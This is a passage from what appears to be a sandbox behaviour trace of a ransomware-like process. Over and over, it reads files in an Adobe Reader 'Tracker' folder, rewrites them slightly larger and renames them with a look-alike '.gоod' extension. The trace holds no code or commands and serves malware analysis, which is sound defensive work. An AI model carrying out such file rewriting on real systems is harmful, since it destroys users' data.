files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\form_responses.gif.gоod")) returned 1 [0115.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif", lpFilePart=0x0) returned 0x46 [0115.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0115.303] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\info.gif"), fInfoLevelId=0x0, lpFileInformation=0x3611560 | out: lpFileInformation=0x3611560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x242)) returned 1 [0115.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0115.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif", lpFilePart=0x0) returned 0x46 [0115.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0115.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\info.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0115.303] GetFileType (hFile=0x7ec) returned 0x1 [0115.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0115.303] GetFileType (hFile=0x7ec) returned 0x1 [0115.303] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x242 [0115.304] ReadFile (in: hFile=0x7ec, lpBuffer=0x3611a40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x3611a40*, lpNumberOfBytesRead=0x1f35bf48*=0x242, lpOverlapped=0x0) returned 1 [0115.304] CloseHandle (hObject=0x7ec) returned 1 [0116.381] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif", lpFilePart=0x0) returned 0x46 [0116.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0116.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\info.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0116.382] GetFileType (hFile=0x6e4) returned 0x1 [0116.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0116.382] GetFileType (hFile=0x6e4) returned 0x1 [0116.383] WriteFile (in: hFile=0x6e4, lpBuffer=0x3489428*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3489428*, lpNumberOfBytesWritten=0x1f35be58*=0x250, lpOverlapped=0x0) returned 1 [0116.383] CloseHandle (hObject=0x6e4) returned 1 [0116.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif", lpFilePart=0x0) returned 0x46 [0116.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif.gоod", lpFilePart=0x0) returned 0x4b [0116.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0116.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\info.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4196714a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x250)) returned 1 [0116.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0116.384] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\info.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\info.gif.gоod")) returned 1 [0116.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", lpFilePart=0x0) returned 0x46 [0116.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0116.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x348a6b8 | out: lpFileInformation=0x348a6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a)) returned 1 [0116.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0116.385] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", lpFilePart=0x0) returned 0x46 [0116.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0116.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0116.385] GetFileType (hFile=0x6e4) returned 0x1 [0116.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0116.386] GetFileType (hFile=0x6e4) returned 0x1 [0116.386] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0116.386] ReadFile (in: hFile=0x6e4, lpBuffer=0x348aac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x348aac0*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0116.697] CloseHandle (hObject=0x6e4) returned 1 [0116.697] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", lpFilePart=0x0) returned 0x46 [0116.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0116.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0116.697] GetFileType (hFile=0x6e4) returned 0x1 [0116.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0116.697] GetFileType (hFile=0x6e4) returned 0x1 [0116.697] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x2e9a [0116.697] WriteFile (in: hFile=0x6e4, lpBuffer=0x33dd500*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x33dd500*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0116.700] CloseHandle (hObject=0x6e4) returned 1 [0116.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", lpFilePart=0x0) returned 0x46 [0116.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0116.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0116.700] GetFileType (hFile=0x6e4) returned 0x1 [0116.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0116.700] GetFileType (hFile=0x6e4) returned 0x1 [0116.700] ReadFile (in: hFile=0x6e4, lpBuffer=0x33ed238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x33ed238*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0116.728] CloseHandle (hObject=0x6e4) returned 1 [0116.728] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", lpFilePart=0x0) returned 0x46 [0116.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0116.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0116.728] GetFileType (hFile=0x6e4) returned 0x1 [0116.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0116.728] GetFileType (hFile=0x6e4) returned 0x1 [0116.728] WriteFile (in: hFile=0x6e4, lpBuffer=0x33ebf98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x33ebf98*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0116.729] CloseHandle (hObject=0x6e4) returned 1 [0116.729] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css", lpFilePart=0x0) returned 0x46 [0116.729] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css.gоod", lpFilePart=0x0) returned 0x4b [0116.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0116.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x41cae772, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2eaa)) returned 1 [0116.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0116.729] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\main.css.gоod")) returned 1 [0116.730] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif", lpFilePart=0x0) returned 0x54 [0116.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0116.730] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\open_original_form.gif"), fInfoLevelId=0x0, lpFileInformation=0x346b9c8 | out: lpFileInformation=0x346b9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x326)) returned 1 [0116.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0116.730] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif", lpFilePart=0x0) returned 0x54 [0116.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0116.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\open_original_form.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0116.730] GetFileType (hFile=0x6e4) returned 0x1 [0116.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0116.730] GetFileType (hFile=0x6e4) returned 0x1 [0116.730] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x326 [0116.730] ReadFile (in: hFile=0x6e4, lpBuffer=0x346bff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x346bff8*, lpNumberOfBytesRead=0x1f35bf48*=0x326, lpOverlapped=0x0) returned 1 [0117.084] CloseHandle (hObject=0x6e4) returned 1 [0117.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif", lpFilePart=0x0) returned 0x54 [0117.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0117.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\open_original_form.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0117.159] GetFileType (hFile=0x6e4) returned 0x1 [0117.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0117.159] GetFileType (hFile=0x6e4) returned 0x1 [0117.159] WriteFile (in: hFile=0x6e4, lpBuffer=0x34c99a8*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x34c99a8*, lpNumberOfBytesWritten=0x1f35be58*=0x330, lpOverlapped=0x0) returned 1 [0117.160] CloseHandle (hObject=0x6e4) returned 1 [0117.160] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif", lpFilePart=0x0) returned 0x54 [0117.160] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif.gоod", lpFilePart=0x0) returned 0x59 [0117.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0117.160] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\open_original_form.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x420b46a9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0117.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0117.160] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\open_original_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\open_original_form.gif.gоod")) returned 1 [0117.161] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif", lpFilePart=0x0) returned 0x45 [0117.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0117.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\pdf.gif"), fInfoLevelId=0x0, lpFileInformation=0x34cac98 | out: lpFileInformation=0x34cac98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0117.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0117.161] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif", lpFilePart=0x0) returned 0x45 [0117.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0117.161] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\pdf.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0117.161] GetFileType (hFile=0x6e4) returned 0x1 [0117.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0117.161] GetFileType (hFile=0x6e4) returned 0x1 [0117.161] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x1e0 [0117.161] ReadFile (in: hFile=0x6e4, lpBuffer=0x34cb100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34cb100*, lpNumberOfBytesRead=0x1f35bf48*=0x1e0, lpOverlapped=0x0) returned 1 [0117.162] CloseHandle (hObject=0x6e4) returned 1 [0117.767] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif", lpFilePart=0x0) returned 0x45 [0117.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0117.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\pdf.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0117.769] GetFileType (hFile=0x768) returned 0x1 [0117.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0117.769] GetFileType (hFile=0x768) returned 0x1 [0117.769] WriteFile (in: hFile=0x768, lpBuffer=0x34d5f68*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x34d5f68*, lpNumberOfBytesWritten=0x1f35be58*=0x1f0, lpOverlapped=0x0) returned 1 [0117.770] CloseHandle (hObject=0x768) returned 1 [0117.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif", lpFilePart=0x0) returned 0x45 [0117.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif.gоod", lpFilePart=0x0) returned 0x4a [0117.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0117.770] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\pdf.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x42684175, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1 [0117.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0117.770] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\pdf.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\pdf.gif.gоod")) returned 1 [0117.771] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif", 